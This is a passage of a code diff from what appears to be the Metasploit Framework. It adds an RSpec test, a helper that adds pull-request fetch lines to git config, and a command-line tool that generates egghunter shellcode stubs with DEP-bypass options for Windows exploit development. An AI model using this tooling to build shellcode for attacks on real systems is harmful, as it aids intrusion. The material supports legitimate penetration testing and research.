it 'includes W00T in the egghunter' do
output = get_stdout { subject.run }
expect(output).to include("\\x57\\x30\\x30\\x54")
end
end
end
end
describe Egghunter::OptsConsole do
subject do
Egghunter::OptsConsole
end
context 'when no options are given' do
it 'raises OptionParser::MissingArgument' do
expect{subject.parse([])}.to raise_error(OptionParser::MissingArgument)
end
end
context 'when no format is specified and --list-formats isn\'t used' do
it 'raises OptionParser::MissingArgument' do
args = '-e AAAA'.split
expect{subject.parse(args)}.to raise_error(OptionParser::MissingArgument)
end
end
context 'when no egg is specified and --list-formats isn\'t used' do
it 'raises OptionParser::MissingArgument' do
args = '-f python'.split
expect{subject.parse(args)}.to raise_error(OptionParser::MissingArgument)
end
end
context 'when :depsize is a string' do
it 'raises OptionParser::InvalidOption' do
args = '-e AAAA -f c --depsize STRING'.split
expect{subject.parse(args)}.to raise_error(OptionParser::InvalidOption)
end
end
end
end

33
tools/dev/add_pr_fetch.rb Executable file
View File

@ -0,0 +1,33 @@
#!/usr/bin/env ruby
toplevel = %x{git rev-parse --show-toplevel}.strip
infile = "#{toplevel}/.git/config"
outfile = infile
$stderr.puts "Rewriting #{infile}"
data = File.open(infile, 'rb') {|f| f.read f.stat.size}
newdata = ""
data.each_line do |line|
newdata << line
case line
when /^(\s*)fetch\s*=.*remotes\/([^\/]+)\//
ws = $1
remote = $2
pr_line = "fetch = +refs/pull/*/head:refs/remotes/#{remote}/pr/*"
next if line.strip == pr_line.strip
if data.include? pr_line
$stderr.puts "Skipping #{remote}, already present"
next
else
@new_pr_line ||= true
$stderr.puts "Adding pull request fetch for #{remote}"
newdata << "#{ws}#{pr_line}\n"
end
end
end
if @new_pr_line
File.open(outfile, 'wb') {|f| f.write newdata}
$stderr.puts "Wrote #{outfile}"
else
$stderr.puts "No changes to #{outfile}"
end

0
tools/dev/set_binary_encoding.rb Normal file → Executable file
View File

156
tools/egghunter.rb Executable file
View File

@ -0,0 +1,156 @@
#!/usr/bin/env ruby
msfbase = __FILE__
while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
require 'msfenv'
require 'rex'
require 'msf/core'
require 'msf/base'
require 'optparse'
module Egghunter
class OptsConsole
def self.parse(args)
options = {}
parser = OptionParser.new do |opt|
opt.banner = "Usage: #{__FILE__} [options]\nExample: #{__FILE__} -f python -e W00T"
opt.separator ''
opt.separator 'Specific options:'
opt.on('-f', '--format <String>', "See --list-formats for a list of supported output formats") do |v|
options[:format] = v
end
opt.on('-b', '--badchars <String>', "(Optional) Bad characters to avoid for the egg") do |v|
options[:badchars] = v
end
opt.on('-e', '--egg <String>', "The egg (Please give 4 bytes)") do |v|
options[:eggtag] = v
end
opt.on('-p', '--platform <String>', "(Optional) Platform") do |v|
options[:platform] = v
end
opt.on('--startreg <String>', "(Optional) The starting register") do |v|
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
options[:startreg] = v
end
opt.on('--forward', "(Optional) To search forward") do |v|
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
options[:searchforward] = true
end
opt.on('--depreg <String>', "(Optional) The DEP register") do |v|
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
options[:depreg] = v
end
opt.on('--depdest <String>', "(Optional) The DEP destination") do |v|
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
options[:depdest] = v
end
opt.on('--depsize <Fixnum>', "(Optional) The DEP size") do |v|
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
options[:depsize] = v
end
opt.on('--depmethod <String>', "(Optional) The DEP method to use (virtualprotect/virtualalloc/copy/copy_size)") do |v|
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
options[:depmethod] = v
end
opt.on('-a', '--arch <String>', "(Optional) Architecture") do |v|
# Although this is an option, this is currently useless because we don't have x64 egghunters
options[:arch] = v
end
opt.on('--list-formats', "List all supported output formats") do
options[:list_formats] = true
end
opt.on('-v', '--var-name <name>', String, '(Optional) Specify a custom variable name to use for certain output formats') do |v|
options[:var_name] = v
end
opt.on_tail('-h', '--help', 'Show this message') do
$stdout.puts opt
exit
end
end
parser.parse!(args)
if options.empty?
raise OptionParser::MissingArgument, 'No options set, try -h for usage'
elsif options[:format].blank? && !options[:list_formats]
raise OptionParser::MissingArgument, '-f is required'
elsif options[:eggtag].blank? && !options[:list_formats]
raise OptionParser::MissingArgument, '-e is required'
elsif options[:format] && !::Msf::Simple::Buffer.transform_formats.include?(options[:format])
raise OptionParser::InvalidOption, "#{options[:format]} is not a valid format"
elsif options[:depsize] && options[:depsize] !~ /^\d+$/
raise OptionParser::InvalidOption, "--depsize must be a Fixnum"
end
options[:badchars] = '' unless options[:badchars]
options[:platform] = 'windows' unless options[:platform]
options[:arch] = ARCH_X86 unless options[:arch]
options[:var_name] = 'buf' unless options[:var_name]
options
end
end
class Driver
def initialize
begin
@opts = OptsConsole.parse(ARGV)
rescue OptionParser::ParseError => e
$stderr.puts "[x] #{e.message}"
exit
end
end
def run
# list_formats should check first
if @opts[:list_formats]
list_formats
return
end
egghunter = Rex::Exploitation::Egghunter.new(@opts[:platform], @opts[:arch])
raw_code = egghunter.hunter_stub('', @opts[:badchars], @opts)
output_stream = $stdout
output_stream.binmode
output_stream.write ::Msf::Simple::Buffer.transform(raw_code, @opts[:format], @opts[:var_name])
$stderr.puts
end
private
def list_formats
$stderr.puts "[*] Supported output formats:"
$stderr.puts ::Msf::Simple::Buffer.transform_formats.join(", ")
end
end
end
if __FILE__ == $PROGRAM_NAME
driver = Egghunter::Driver.new
begin
driver.run
rescue ::Exception => e
elog("#{e.class}: #{e.message}\n#{e.backtrace * "\n"}")
$stderr.puts "[x] #{e.class}: #{e.message}"
$stderr.puts "[*] If necessary, please refer to framework.log for more details."
end
end